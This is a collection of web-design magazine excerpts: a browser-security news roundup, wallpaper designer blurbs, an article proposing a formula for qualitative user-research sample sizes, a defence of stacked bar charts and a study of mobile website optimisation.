Chromium is advising developers to not use alert(), confirm(), and prompt() methods in JavaScript anymore6, and, in the future, they might even deprecate sites that still use them. The suggestion is to use the Web Notification API instead, in the hope that its asynchronous nature will prevent it from being misused against users. As a nice side effect, using the API will also speed up browser performance significantly.
This week, Mozilla started with their Security/Binary Transparency7 project which allows third parties to verify that binaries from Mozilla match the original public source code exactly and also to check for its integrity. This is a huge step in open-source and binary app development that other applications out there would benefit from, too.
The Chromium project is implementing8 the WICG proposal of a Feature Policy9 (see launch status10), an interesting concept to complete other policies such as the Content Security Policy. By allowing site owners to explicitly allow or disallow browser features such as geolocation, webcam/microphone access and similar things, sites can better protect their users from exploits.
Jens Grochtdreis shared his thoughts on professional pride14, aiming at all the people who write JavaScript tutorials without focusing on the HTML or CSS. A bad practice that leads to incomplete and sometimes even false code examples that are then used in the wild.
We all know the annoying overlays that prompt website visitors to take action — “sign up for the newsletter”, “like the page on Facebook”. Bureau of Programming now shares thoughts on why it was easier to get rid of annoying pop-up windows and why it’s up to us developers to not build annoying features15 if we want to make the web a useful, friendly place.
16 Pop-up modals are annoying and make a site unnecessarily hard to use. Bureau of Programming summarized the dilemma and what we can do against it17.
A new paper from a joint venture of universities and Akamai Technologies introduces CRLite, a scalable system for pushing all TLS revocations to all browsers18 (PDF, 1.3MB). Currently, no major browser fully checks for TLS/SSL certificate revocations, but that could be changing soon if vendors agree with this research paper and start implementing the system.
Emily Dreyfuss from WIRED wrote an article about why Silicon Valley contributes to inequality by focusing on cool technological innovation instead of targeting real-world problems. The piece is titled “Silicon Valley Would Rather Cure Death Than Make Life Worth Living22” — a provocative but probably accurate title. And while there sure are exceptions (as there are always exceptions), we should remember to not blindly glorify tech, especially if it doesn’t engage with real problems.
“I believe that Earth is something that we take for granted. We need to start taking care of our home, after all if the Earth is not OK, we won’t be.” — Designed by Maria Keller406 from Mexico.
“I designed this wallpaper combining both the sunny and the rainy weather. April, here in Italy, is synonymous with flowers and fun, and we can enjoy the first hot days after winter; but it’s also damn rainy! So I just brought all together and made my ‘Funshower’, a funny pun!” — Designed by Stefano Marchini459 from Italy.
“April the 2nd is Hans Christian Andersen’s birthday. Hans is most famous for his magical fairy tales, such as ‘The Little Mermaid’, ‘The Princess and the Pea’ and ‘Thumbelina’. I always loved the tale of Thumbelina, so I created this wallpaper for Hans!” — Designed by Safia Begum496 from the United Kingdom.
“Design is a community. Each one of these creators found their way into my consciousness as idea-catalysts. This is my way of thanking them and so I’m excited to bring this set to the greater design community. However these are used, my aim is to pay tribute to these sixteen and drive baby-steppers to great inspirers.” — Designed by Juliane Bone517 from California.
“Every year, Washington DC’s Kite Festival is a welcome sight in spring. The National Mall is transformed by colorful serpents, butterflies, and homemade winged crafts and by the families who come from across the city to enjoy their aerial stunts over a picnic at the base of the Washington Monument.” — Designed by The Hannon Group562 from Washington, DC.
“The most beautiful flowers are in bloom around my neighborhood, and I get this little tune stuck in my head every time I go for a walk. I thought it would be perfect for a bright watercolor-styled design!” — Designed by Alyson Sherrard585 from Pensacola, Florida.
“Sometimes when you are out and about you see something that captures your attention. It does not have to be anything spectacular, but you know that you want to remember it at that specific point in time. No matter how busy you are, stop and see the flowers.” — Designed by Kris G613 from the USA.
“‘When all the world appears to be in a tumult, and nature itself is feeling the assault of climate change, the seasons retain their essential rhythm. Yes, fall gives us a premonition of winter, but then, winter, will be forced to relent, once again, to the new beginnings of soft greens, longer light, and the sweet air of spring.‘ (Madeleine M. Kunin)” — Designed by Dipanjan Karmakar632 from India.
“My calendar is an illustration of the old proverb ‘April showers bring May flowers’. I always look forward to the end of that transition.” — Designed by Caitey Kennedy651 from the United States.
“A smiling earth is how I wish to think of my home planet. I like to believe that whenever a plantling gets its root deep into the soil, or when a dolphin jumps out of the water, the earth must be getting tickled, bringing a wide grin on its face. So this World Earth Day, let’s promote afforestation, protect the wildlife and its habitat. Let’s make the earth smile forever.” — Designed by Acodez IT Solutions674 from India.
“When I think of spring, I think of little chickens playing in the field. They always look so happy. I just bought 3 new little chickens, and they are super cute. So enjoy this wallpaper, and enjoy spring.” — Designed by Melissa Bogemans719 from Belgium.
“April showers bring May flowers, and what better way to enjoy rainy weather than to get stuck in a surreal book, in a comfy nook, with a kettle of tea!” — Designed by Brooke Coraldi807 from the United States.
“It is time for more colour in our life! After this cold and dark winter, we have to paint our minds or better our walls. Flower power everywhere!” — Designed by Sabrina Lobien848144 from Germany.
“April is magical. April is musical. April is mesmerizing. April is the International Month of Guitar. Let this calendar make it special.” — Designed by ColorMean Creative Studio884 from Dubai, United Arab Emirates
“Spring is a great time to photograph nature because everything is green and full of new life. Like spring, a sunrise is also the start of something new.” — Designed by Marc Andre929 from the United States.
Please note that we respect and carefully consider the ideas and motivation behind each and every artist’s work. This is why we give all artists the full freedom to explore their creativity and express emotions and experience throughout their works. This is also why the themes of the wallpapers weren’t anyhow influenced by us, but rather designed from scratch by the artists themselves.
Jen is presenting her research report to a client, who runs an e-commerce website. She conducted interviews with 12 potential users. Her goal was to understand the conditions under which users choose to shop online versus in store. The client asks Jen why they should trust her research when she has spoken to only 12 people. Jen explains her process to the client. She shares how she determined the sample size and collected and analyzed her data through the lens of data saturation. The client feels comfortable with the explanation. She asks Jen to continue the presentation.
Researchers must justify the sample size of their studies. Clients, colleagues and investors want to know they can trust a study’s recommendations. They base a lot of trust on sample population and size. Did you talk to the right people? Did you talk to the right number of people? Researchers must also know how to make the most of the data they collect. Your sample size won’t matter if you haven’t asked good questions and done thorough analysis.
Quantitative research methods (such as surveys) come with effective statistical techniques for determining a sample size. This is based on the population size you are studying and the level of confidence desired in the results. Many stakeholders are familiar with quantitative methods and terms such as “statistical significance.” These stakeholders tend to carry this understanding across all research projects and are, therefore, expecting to hear similar terms and hear of similar sample sizes across research projects.
Qualitative researchers need to set the context for stakeholders. Qualitative research methods (such as interviews) currently have no similar commonly accepted technique. Yet, there are steps you should take to ensure you have collected and analyzed the right amount of data.
In this article, I will propose a formula for determining qualitative sample sizes in user research. I’ll also discuss how to collect and analyze data in order to achieve “data saturation.” Finally, I will provide a case study highlighting the concepts explored in this article.
As researchers, or members of teams that work with researchers, we need to understand and convey to others why we’ve chosen a particular sample size.
I’ll give you the bad news first. We don’t have an agreed-upon formula to determine an exact sample size for qualitative research. Anyone who says otherwise is wrong. We do have some suggested guidelines based on precedent in academic studies. We often use smaller sample sizes for qualitative research. I have been in projects that include interviews with fewer than 10 people. I have also been in projects in which we’ve interviewed dozens of people. Jakob Nielson suggests a sample size of five for usability testing. However, he adds a number of qualifiers, and the suggestion is limited to usability testing studies, not exploratory interviews, contextual inquiry or other qualitative methods commonly used in the generative stages of research.
So, how do we determine a qualitative sample size? We need to understand the purpose of our research. We conduct qualitative research to gain a deep understanding of something (an event, issue, problem or solution). This is different from quantitative research, whose purpose is to quantify, or measure the presence of, something. Quantification usually provides a shallow yet broad view of an issue.
You can determine your qualitative research sample size on a rolling basis. Or you can state the sample size up front.
If you are an academic researcher in a multi-year project, or you have a large budget and generous timeline, you can suggest a rolling sample size. You’d collect data from a set number of participants. At the same time, you’d analyze the data and determine whether you need to collect more data. This approach leads to large amounts of data and greater certainty in your findings. You will have a deep and broad view of the issue that you are designing to address. You would stop collecting data because you have exhausted the need to continue collecting data. You will likely end up with a larger sample size.
Most clients or projects require you to state a predetermined sample size. Reality, in the form of budget and time, often dictates sample sizes. You won’t have time to interview 50 people and do a thorough analysis of the data if your project is expected to move from research to design to development over an 8- to 10-week period. A sample size of 10 to 12 is probably more realistic for a project like this. You will probably have two weeks to get from recruitment to analysis. You would stop because you have exhausted the resources for your study. Yet our clients and peers want us to make impactful recommendations from this data.
Your use of a rolling or predetermined sample size will determine how you speak about why you stopped collecting data. For a rolling sample, you could say, “We stopped collecting data after analysis found it would no longer prove valuable to collect more data.” If you use a predetermined sample size, you could say, “We stopped collecting data after we interviewed (or observed, etc.) the predetermined number we agreed upon. We fully analyzed the data collected.”
We can still maintain a rigorous process using a predetermined sample size. Our findings are still valid. Data saturation helps to ensure this. You need to complete three steps in order to claim you’ve done due diligence in determining a sample size and reaching data saturation when using a predetermined sample:
Determine a sample sized based on meaningful criteria.
Reach saturation of data collection.
Reach saturation of data analysis.
I will cover each step in detail in the following sections.
Determining A Sample Size: From Guidelines To A Formula Link
Donna Bonde from Research by Design, a marketing research firm, provides research-based guidelines8 (Qualitative market research: When enough is enough) to help determine the size of a qualitative research sample up front. Bonde reviewed the work of numerous market research studies to determine the consistent key factors for sample sizes across the studies. Bonde considers the guidelines not to be a formula, but rather to be factors affecting qualitative sample sizes. The guidelines are meant for marketing research, so I’ve modified them to suit the needs of the user researcher. I have also organized the relevant factors into a formula. This will help you to determine and justify a sample size and to increase the likelihood of reaching saturation.
The formula for determining a sample size, based on my interpretation of Research by Design’s guidelines, is: scope × characteristics ÷ expertise + or - resources.
Here are descriptions and examples for the four factors of the formula for determining your qualitative sample size.
You need to consider what you are trying to accomplish. This is the most important factor when considering sample size. Are you looking to design a solution from scratch? Or are you looking to identify small wins to improve your current product’s usability? You would maximize the number of research participants if you were looking to inform the creation of a new experience. You could include fewer participants if you are trying to identify potential difficulties in the checkout workflow of your application.
Numerically, the scope can be anywhere from 1 to infinity. A zero would designate no research, which violates principles of UX design. You will multiply the scope by each user type × 3 in the next step. So, including a number greater than 1 will drastically increase your sample size. Scope is all about how you want to apply your results. I recommend using the following values for filling in scope:
research looking at an existing product (for example, usability testing, identifying new features, or studying the current state);
creating a new product (for example, a new portal where you will house all applications that your staff use);
generalizing beyond your product (for example, publishing your study in a research journal or claiming a new design process).
I’ve given you guidelines for scope that will make sure your sample size is comparable to what some academic researchers suggest. Scholar John Creswell suggests12 guidelines ranging from as few as five for a case study (for example, your existing product) to more than 20 for developing a new theory (for example, generalizing beyond your product). We won’t stop with Creswell’s recommendations because you will create a stronger argument and demonstrate better understanding when you show that you’ve used a formula to determine your sample size. Also, scholars are nowhere near agreement on specific sample sizes to use, as Creswell suggests.
You will increase your sample size as the diversity of your population increases. You will want multiple representatives of each persona or user type you are designing for. I recommend a minimum of three participants per user type. This allows for a deeper exploration of the experience each user type might have.
Let’s say you are designing an application that enables manufacturing companies to input and track the ordering and shipment of supplies from warehouses to factories. You would want to interview many people involved in this process: warehouse floor workers, office staff, procurement staff from the warehouse and factory, managers and more. If you were looking only to redesign the interface of the read-only tracking function of this app, then you might only need to interview people who look at the tracking page of the application: warehouse and factory office workers.
Numerically, C = P × 3, where P equals the number of unique user types you’ve identified. Three user types would give you C = 9.
Experienced researchers can do more with a smaller sample size than less experienced researchers. Qualitative researchers insert themselves into the data-collection process differently than quantitative researchers. You can’t change your line of questioning in a survey based on an unforeseen topic becoming relevant. You can adjust your line of questioning based on the real-time feedback you get from a qualitative research participant. Experienced researchers will generate more and better-quality data from each participant. An experienced researcher knows how and when to dig deeper based on a participant’s response. An experienced researcher will bring a history of experiences to add insight to the data analysis.
Numerically, expertise (E) could range from 1 to infinity. Realistically, the range should be from 1 to 2. For example, a researcher with no experience should have a 1 because they will need the full size of the sample, and they would gain experience as the project moves forward. Using a 2 would halve your sample size (at that point in the formula), which is drastic as well. I’d suggest adding tenths (.10) based on 5-year increments; for example, a researcher with 5 years of experience would give you E = 1.10.
An unfortunate truth, you will have to account for budget and time constraints when determining a sample size. You will need to increase either your timeline or the number of researchers on a project, as you increase the size of your sample. Most clients or projects will require you to identify a set number of research participants. Time and money will affect this number. You will need to budget time for recruiting participants and analyzing data. You will also need to consider the needs of design and development for completing those duties. Peers will not value your research findings if the findings come in after everyone else has moved forward. I recommend scaling down a sample size to get the data on time, rather than hold on to a sample size that causes your research to drag on past when your team needs the findings.
Numerically, resources will be a number from N (i.e. the desired sample size) - 1 or more to + 1 or more. You’ll determine resources based on the cost and time you will spend recruiting participants, conducting research and analyzing data. You might have specific numbers based on previous efforts. For example, you might know it will cost around $15,000 to use a recruitment service, to rent a facility for two days and to pay 15 participants for one-hour interviews. You also know the recruiting service will ask for up to three weeks to find the sample you need, depending on the complexity of the study. On the other hand, you might be able to recruit 15 participants at no extra cost if you ask your client to find existing users, but that might add weeks to the process if you can’t find them quickly or if potential participants aren’t immediately available.
You will need to budget for the time and resources necessary to get the sample you require, or you will need to reduce your sample accordingly. Because this is a fact of life, I recommend being up front about it. Say to your boss or client, “We want to speak to 15 users for this project. But our budget and timeline will only allow for 10. Please keep that in mind when we present our findings.”
Let’s say you want to figure out how many participants to include in a study that is assessing the need to create an area for customer-service staff members of a mid-sized client to access the applications they use at work (a portal). Your client states that there are three basic user types: floor staff, managers and administrators. You have a healthy budget and a total of 10 weeks to go from research to presentation of design concepts for the portal and a working prototype of a few workflows within the portal. You have been a researcher for 11 years.
Your formula for determining a sample size would be:
scope (S) large scope - creating a new portal (S) = 2;
characteristics (C) - 3 user types (C) = 9;
expertise (E) - 11 years (E)= 1.20;
resources (R) - fine for this study (R) = 0;
our formula is ((SxC)/E) + R;
So, ((2x9)/1.2) + 0 = 15 participants for this study.
Data saturation is a concept from academic research. Academics do not agree on the definition of saturation. The basic idea is to get enough data to support the decisions you make, and to exhaust your analysis of that data. You need to get enough data in order to create meaningful themes and recommendations from your exhaustive analysis. Reaching data saturation depends on the particular methods you are using to collect data. Interviews are often cited as the best method to ensure you reach data saturation.
Researchers do not often use sample size alone as the criterion for assessing saturation. I support a two-pronged definition: saturation of data collection and saturation of data analysis. You need to do both to achieve data saturation in a study. You also need to do both, data collection and analysis, simultaneously to know you’ve achieved saturation before the study concludes.
You would collect enough meaningful data to identify key themes and make recommendations. Once you have coded your data and identified key themes, do you have actionable takeaways? If so, you should feel comfortable with what you have. If you haven’t identified meaningful themes or if the participants have all had many different experiences, then collect additional data. Or if something unique came up in only one interview, you might add more focused interviews to further explore that concept.
You would achieve saturation of data collection in part by collecting rich data. Rich data is data that provides a depth of insight into the problem you are investigating. Rich data is an output of good questions, good follow-up prompts and an experienced researcher. You would collect rich data based on the quality of the data collection, not the sample size. It’s possible to get better information from a sample of three people whom you spend an hour each interviewing than you would from six people whom you only spend 30 minutes interviewing. You need to hone your questions in order to collect rich data. You would accomplish this when you create a questionnaire and iterate based on feedback from others, as well as from practice runs prior to data collection.
You might want to limit your study to specific types of participants. This could reduce the need for a larger sample to reach saturation of data collection.
For example, let’s say you want to understand the situation of someone who has switched banks recently.
Have you identified key characteristics that might differentiate members of this group? Perhaps someone who recently moved and switched banks has had a drastically different experience than someone whose bank charged them too many fees and made them angry.
Have you talked to multiple people who fit each user type? Did their experiences suggest a commonality between the user types? Or do you need to look deeper at one or both user types?
If you interview only one person who fits the description of a user who has recently moved and switched banks, then you’d need to increase your sample and talk to more people of that user type. Perhaps you could make an argument that only one of these user types is relevant to your current project. This would allow you to focus on one of the user types and reduce the number of participants needed to reach saturation of data collection.
Let’s say you’ve determined that you’ll need a sample size of 15 people for your banking study.
You’ve created your questionnaire and focused on exploring how your participants have experienced banking, both in person and online, over the past five years. You spend an hour interviewing each participant, thoroughly exhausting your lines of questioning and follow-up prompts.
You collect and analyze the data simultaneously. After 12 interviews, you find the following key themes have emerged from your data:
users feel banks lack transparency,
users have poor onboarding experiences,
users feel more compelled to bank somewhere where they feel a personal connection.
Your team meets to discuss the themes and how to apply them to your work. You decide as a team to create a concept for a web-based onboarding experience that facilitates transparency into how the bank applies fees to accounts, that addresses how the client allows users to share personal banking experiences and to invite others, and that covers key aspects of onboarding that your participants said were lacking from their account-opening experiences.
You have reached one of the two requirements for saturation: You have collected enough meaningful data to identify key themes and make recommendations. You have an actionable takeaway from your findings: to create an onboarding experience that highlights transparency and personal connections. And it only took you 12 participants to get there. You finish the last three interviews to validate what you’ve heard and to stockpile more data for the next component of saturation.
You thoroughly analyze the data you have collected to reach saturation of data analysis. This means you’ve done your due diligence in analyzing the data you’ve collected, whether the sample size is 1 or 100. You can analyze qualitative data in many ways. Some of the ways depend on the exact method of data collection you’ve followed.
You will need to code all of your data. You can create codes inductively (based on what the data tell you) or deductively (predetermined codes). You are trying to identify meaningful themes and points made in the data. You saturate data analysis when you have coded all data and identified themes supported by the coded data. This is also where the researcher’s experience comes into play. Experience will help you to identify meaningful codes and themes more quickly and to translate them into actionable recommendations.
Going back to our banking example, you’ve presented your findings and proposed an onboarding experience to your client. The client likes the idea, but also suggests there might be more information to uncover about the lack of transparency. They suggest you find a few more people to interview about this theme specifically.
You ask another researcher to review your data before you agree to interview more people. This researcher finds variation in the transparency-themed quotes that the current codes don’t cover: Some users think banks lack transparency around fees and services. Others mention that banks lack transparency in how client information is stored and used. Initially, you only coded a lack of transparency in fee structures. The additional pair of eyes reviewing your data enables you to reach saturation of analysis. Your designers begin to account for this variation of transparency in the onboarding experience and throughout. They highlight bank privacy and data-security policies.
You have a discussion with your client and suggest not moving forward with additional interviews. You were able to reach saturation of data analysis once you reviewed the data and applied additional codes. You don’t need additional interviews.
Sample Size Formula And Data Saturation Case Study Link
Let’s run through a case study covering the concepts presented in this article.
Suppose we are working with a client to conceptualize a redesign of their clinical data-management application. Researchers use clinical data-management applications to collect and store data from clinical trials. Clinical trials are studies that test the effectiveness of new medical treatments. The client wants us to identify areas to improve the design of their product and to increase use and reliability. We will conduct interviews up front to inform our design concepts.
We’ll request 12 interview participants based on the formula in this article. Below is how we’ve determined the value of each variable in the formula.
Scope: We are tasked with providing research-informed design concepts for an existing product. This project does not have a large scope. We are not inventing a new way to collect clinical data, but rather are improving an existing tool. The smaller scope justifies a smaller sample size.
S = 1
Characteristics: Our client identifies three specific user types:
study designers: users charged with building a study in the system.
data collectors: users who collect data from patients and enter data into the system.
study managers: users in charge of data collection and reporting for a project.
C= 3 × 3 user types
C = 9
Expertise: Let’s say our lead researcher has 10 years of research experience. Our team has experience with the type of project we are completing. We know exactly how much data we need and what to expect from interviewing 12 people.
E = .20
At this point, our formula is ((1 × 3) ÷ 1.2) = 7.5 participants, before factoring in resources. We’ll round up to 8 participants.
Resources: We know the budget and time resources available. We know from past projects that we’ll have enough resources to conduct up to 15 interviews. We could divert more resources to design if we go with fewer than 15 participants. Adding 4 participants to our current number (8) won’t tax our resources and would allow us to speak to 4 of each user type.
R = 4
We recommend 12 research participants to our client, based on the formula for determining the proposed sample size:
Scope (S) - small scope - updating an existing product (S) = 1
Characteristics (C) - 3 user types (C) = 9
Expertise (E) - 10 years (E)= 1.20
Resources (R) - fine for up to 15 total participants (R) = +4
Our formula is ((SxC)/E) + R;
So, ((1x9)/1.2) + 4 = 12 participants for this study.
We’ll set up a spreadsheet to manage the data we collect. Let’s set up the spreadsheet to first examine the data, with participants in rows and the questions in columns (table 1):
Table 1: Example of data analysis spreadsheet
What are some challenges with the system?
Question 2
Question 3
Question 4
Participant 1
Protocol deviations can get lost or be misleading because they are not always clearly displayed. This would give too much control to the study coordinator role; they would be able to change too much. A tremendous amount of cleaning needs to get done.
Next, we add a second tab to the spreadsheet and created codes based on what emerged from the data (table 2):
Table 2: Example of codes spreadsheet
Code: Issues with study protocol (deviations)
Code: Unreliable data
Code 3
Code 4
Participant 1
There isn’t consistency looking at the same data. It gives too much control to the study coordinator role. They would be able to change too much.
A tremendous amount of cleaning needs to get done.
Next, we review the data to identify relevant themes (table 3):
Table 3: Example of themes and quotes spreadsheet
Theme: “trust in the product”
Theme 2
Theme 3
Theme 4
Coded quote and participant
“I’m not sure if we are compliant.” – Participant 1
Quote and participant
“It’s very configurable, but it’s configurable to the point that it’s unreliable and not predictable.” – Participant 2
Trust emerges as a theme almost immediately. Nearly every participant mentions a lack of trust in the system. The study designers tell us they don’t trust the lack of structure in creating a study; the clinical data collectors tell us they don’t trust the novice study designers; and the managers tell us they don’t trust the study’s design, the accuracy of the data collectors or the ability of the system to store and upload data with 100% accuracy.
Our design recommendations for the concepts focus on interactions and functionality to increase trust in the product.
Qualitative user researchers must support our reason for choosing a sample size. We may not be academic researchers, but we should strive for standards in how we determine sample sizes. Standards increase the rigor and integrity of our studies. I’ve provided a formula for helping to justify sample sizes.
We must also make sure to achieve data saturation. We do this by suggesting a reasonable sample size, by collecting data using sound questions and good interviewing techniques, and by thoroughly analyzing the data. Clients and colleagues will appreciate the transparency we provide when we show how we’ve determined our sample size and analyzed our data.
I’ve covered a case study demonstrating use of the formula I’ve proposed for determining qualitative research sample sizes. I’ve also discussed how to analyze data in order to reach data saturation.
We must continue moving forward the conversation on determining qualitative sample sizes. Please share other ideas you’ve encountered or used to determine sample sizes. What standards have you given clients or colleagues when asked how you’ve determined a sample size?
Data visualization has become an important part of our everyday life, allowing us to quickly assess information. And with so many chart types out there to choose from, it should be possible to effectively solve almost any task, whether it’s exploratory (i.e. researching and analyzing data to better understand it for yourself) or explanatory (i.e. reporting and communicating data to end users).
However, variety can also cause confusion, making it difficult to clearly understand the purpose of each form of data visualization. As a result, when an inappropriate type of chart is applied to data, the user not only might be confused by the information, but, more importantly, could make bad decisions based on such a presentation.
Today, we’ll talk about stacked bar charts, because — much to my surprise — I’ve recently learned these chart types can be real troublemakers.
As the number of chart types and approaches keeps growing, the things are getting worse, and sometimes even top experts get confused with identifying the goals of one chart type or another. One vivid example is Robert Kosara, senior research scientist at Tableau Software and former associate professor of computer science. In his blog post “Stacked Bar Charts Are the Worst5,” he calls stacked bar charts inconvenient, useless and even harmful. But is that really fair?
I’d say that stacked bar charts are undeservingly demonized in his article. The author simply seems to have fallen victim to a common misunderstanding of their real purpose. In fact, stacked bar charts are supposed to be used to compare total values across several categories and, at the same time, to identify which series is to “blame” for making one total bigger or perhaps smaller than another.
However, Kosara says they are the worst because they are useless for comparing series magnitudes in one or another certain category. Well, I agree: Stacked bar charts are really bad at that, and a regular multiseries bar chart would always seem to be a better choice. But that is not what they are supposed to be used for. It’s like using a hammer to change a lightbulb — you’ll just end up with a mess!
In this article, I’ll try to explain the real goals of visualizing data in regular and stacked bar charts and what exactly they should be used for. To get started, let’s look at a conventional bar chart.
The main purpose of a bar chart is to compare individual data points with each other. It’s easy. Let’s look at regular vertical bar (also called column) charts.
This multiseries bar chart displays sales of each product within each sales strategy and helps us to answer the following questions:
Which strategy generated the most sales of every single product?
How did the products perform individually within a given strategy?
Of course, when these are the questions being asked, we need to compare values within every single series (sales of a certain product across all strategies) and within every single category (sales of each product within a certain strategy). With that said, let’s look into this example.
We can clearly see now that Product D was most successful in Strategy 4 and the least successful in Strategy 5.
We also see that the biggest sales within Strategy 1 are attributable to Product C, whereas Product D finished last, and Products A and B are almost identical.
Now, what if we only want to see the overall sales for each strategy and then compare them with each other? We know that some products performed better or worse than others in each strategy, but which strategy resulted in the greatest total sales overall, with no regard to individual product performance?
To analyze only the differences between category totals, we simply add up the product values and represent them as columns in a single-series bar chart:c
This chart fully answers the question we asked. It is clear that the Strategy 2 was overall most effective and Strategy 5 was the least.
To conclude, these conventional bar charts have helped us:
compare products sales performance by strategy,
identify the difference between strategies in terms of overall total effectiveness.
So far, so good.
However, we can go further still and discover the relationships between what we noticed in the first (multiseries) and second (single-series) graphs in order to understand more deeply what actually happened. For this purpose, we need to plot both category totals and product-specific data on one stage, and this is where a stacked bar chart starts to shine.
We might also want to ask, “Why did Strategy X undermine the sales of one or another product?” Or, “What was the performance of a product within one strategy in relation to its sales within other strategies?” Great questions, but remember that stacked bar charts are not supposed to answer these or similar questions with that type of detail. Sorry, no superheroes here.
Stacked bar charts are designed to help you simultaneously compare totals and notice sharp changes at the item level that are likely to have the most influence on movements in category totals.
Looking at our stacked bar chart, we clearly see, for example, that Strategy 5 was the least effective overall, and this is mainly because sales from Product D were so much lower compared to the other strategies.
Take a moment to see what other insights our stacked bar chart provides by identifying other visually apparent relationships. In the meantime, let me stress that we cannot rely on this chart type to clarify absolutely all of the differences and contributions. Generally speaking, stacked bar charts are quite similar to sparklines in terms of usage: The main purpose of both types is to enable a better understanding of the big picture, without much focus on details such as light changes.
Of course, if you require deeper, more comprehensive or just different insights, then you’ll need to choose another chart type, one that will help you to answer your specific questions about your specific data.
I showed the first draft of this article to a couple of my colleagues. One of them wondered, “If you want to show both category totals and item-specific data at the same time, why not use a dual-axis graph with separate bars for each product and a line series for totals? Wouldn’t that be better than a stacked bar chart, because it will help you to understand all of the differences, including at the product level?”
It’s an interesting question. Let’s take a look.
While bringing all category totals into a separate line series with its own axis and then letting regular bars take care of the rest might sound appropriate, I don’t think so. Not to mention that I am not a big fan of dual-axis charts, at least when I have data and questions like these. But let’s check it out and you decide.
In this case, we can simultaneously see the totals and compare data points within a category. But the main issue is that this combined chart is actually harder to read, because the view is overloaded with columns, each attracting considerable attention, not to mention the line series with the second axis cluttering the view.
And things only get worse if we have a few more strategies, in this case just three more:
Large data sets are not uncommon, and while this one is far from large, I think you’ll agree that the eye gets lost in the presentation. As a matter of fact, we would have to spend too much time reading the combination of bar charts and line graph in both cases. So, when visualizing large amounts of data, we’d certainly be better off switching to another view, rather than piling up everything in one chart.
I think you’ll agree, a stacked bar chart seems to make more sense, even in this situation:
Now you’ve seen it with your own eager eyes. The stacked bar charts showcased in this article not only allow us to see the category totals first, but also get a rough yet helpful understanding of the item level within each category. As a result, they’ve clearly answered the questions asked:
Which strategies are better (and lead to higher sales)?
Which significant product-level leaps made one or another strategy more (or less) effective?
I hope you also agree that our stacked bar charts turned out to be concise and easy to read.
Please keep in mind that this chart type is very specific. Use it carefully and only when your questions and data fully correspond to the purposes it serves. For example, to compare item values more precisely and comprehensively, pick a conventional bar chart instead, because that is its purpose. However, I am sure you now share my feeling and experience: Stacked bar (column) charts are far from the “worst,” much less are they useless.
I will repeat myself and say that the main, strategic purpose of stacked bar charts is to help you assess the big picture at a glance, focusing on category totals and drastic series-level changes, and then let you decide what to research next if needed. Depending on the situation, you might find a better solution for other kinds of data and questions. However, stacked bar charts are often worthwhile and should be considered when the occasion demands.
I’ve made all of the chart illustrations from this article available on CodePen33 so you can explore them in detail, test your own data, and so on. You are also welcome to use Chartopedia34, a guide for choosing right chart types that I am currently building, to learn more about various data visualization methods and their purpose.
As we look deep into 2017, one of the questions on every web developer’s mind ought to be, “What trend will define the web in 2017?” Just three years ago, we were talking about the “Year of Responsive Web Design”, and we’ve all seen how the stakes were raised1 when Google announced Mobilegeddon (21 April 2015) and started to boost the rankings of mobile-friendly websites in mobile search results.
Today, as our findings indicate2, responsive web design is the norm, with 7 out of 10 mobile-optimized websites being responsive, up from 5 last year3, which begs the questions: What’s next? Where is it all heading? We solved the screen-size issue and had a great run for a few years — now what?
Not long ago, having an application in an app store was considered the holy grail. To this day, a lot of companies still religiously follow the path to app store publishing. “Publish it and they will come,” “The web is dead,” they used to say!
According to recent studies9, just 26.4% of users who visit a page in an app store today will install an app. The other 73.6% are lost to the developer and don’t even try the app. Among the ones who install it, an average of 99% are lost in the following 90 days. As a consequence, the same people who declared the web dead years ago are now shouting, “Apps are dying” and “Wait! The web isn’t dead after all!”
This made us ask, Where is the mobile web heading? To answer this question, my colleagues and I at Appticles10 have conducted a colossal study on 10,000 publishing and e-commerce websites from Alexa11, scouting for signs of resurrection, and instead finding serious traces of diversification. Our findings are detailed below.
Responsive Websites Are Getting Taller And Fatter Link
According to Google’s guidelines, we have taken into consideration three types of configurations12 for building mobile websites:
Serve the same HTML code on the same URL, regardless of the user’s device. The display would render differently based on the screen’s size.
Dynamic serving (also known as adaptive)
Use the same URL regardless of device, but generate HTML code dynamically by detecting the browser’s user agent.
Separate URLs (also known as mobile-friendly)
Serve different code to each device class, with a separate web address for the mobile version.
To detect the mobile strategy used by different websites, we crawled them using an iPhone user agent and using the headless browser PhantomJS14 to detect JavaScript redirects.
On top of that, we also identified website owners who have implemented a smart app banner meta tag in the head of their home page, to market their iOS app:
To analyze performance, we used Google’s PageSpeed Insights API, which takes into consideration not only the size of a web page, but also compression, server response time, browser caching and landing page redirects, among other factors.
All of the code used for this study is available for comments and contributions on GitHub15.
Here’s what we identified:
Responsive is the preferred technique for mobile optimization, used by 52% of all websites in the study.
The mobile-friendly approach (i.e. using a separate domain) has declined to 16% usage, from 26% in 201616.
Adaptive methods have stagnated at around 5%.
Still, 3 out of 10 websites are not mobile-optimized.
Comparing publishers (blogs, newspapers, magazines) with e-commerce websites resulted in some interesting variations in mobile web optimization:
60% of websites in the blogging vertical use responsive design, whereas only 47% of websites in the newspaper vertical have adopted responsive techniques. 20 (View large version21)
The adaptive strategy has found the most followers in the e-commerce industry, with 9% of shopping websites being adaptive (compared to less than 5% among blogs, news websites and magazines).
The average mobile page height has increased to almost 10 screens (up from 7 last year22). Blogs have more than 90% of their home page content (dispersed over 13 screens) below the fold, while e-commerce websites do a better job of greeting the user with their most relevant content, with just 3 screens to encapsulate it. 23 (View large version24)
As a consequence of tall mobile websites, blogs also have a weight issue, with the average mobile page weighing in at almost 7 MB. On the other hand, e-commerce websites have it under control at 3 MB.
If you think that just by designing responsively you’ll score better in Google’s PageSpeed Insights, think again! Take blogs: Although they’re designing responsively, they score an average of 40% in PageSpeed Insights, whereas e-commerce websites have an average of over 50%.
What these numbers show us is that mobile screen-size optimization is at its peak: New websites are responsive by default, and the majority of those that haven’t had a mobile presence have already made the switch. In other words, I think that the mobile web is nearing its potential in addressing the screen-size issue: 7 out of 10 websites have already implemented some form of mobile-friendly optimization, and this hasn’t grown significantly since last year25.
In addition, the trends seem to indicate that mobile websites are getting taller and fatter by the year. Is this what we envisioned for the mobile web when we started designing responsively? Because approximately 30% of the web is powered by WordPress26, I can’t help but suspect that the way WordPress themes are built is shaping the mobile web.
Smart App Banners Drive App Downloads But Not Retention Link
The banner that floats on your page when your website is viewed on a mobile device is an incredibly valuable tool for converting web traffic into app users. According to a study by Branch.io27, click-to-install rates are slightly higher on Android than on iOS (13.5% versus 11.9%), but the average is about 13%.
28 Examples of smart app banners usage in different applications. (Source: Branch.io29)
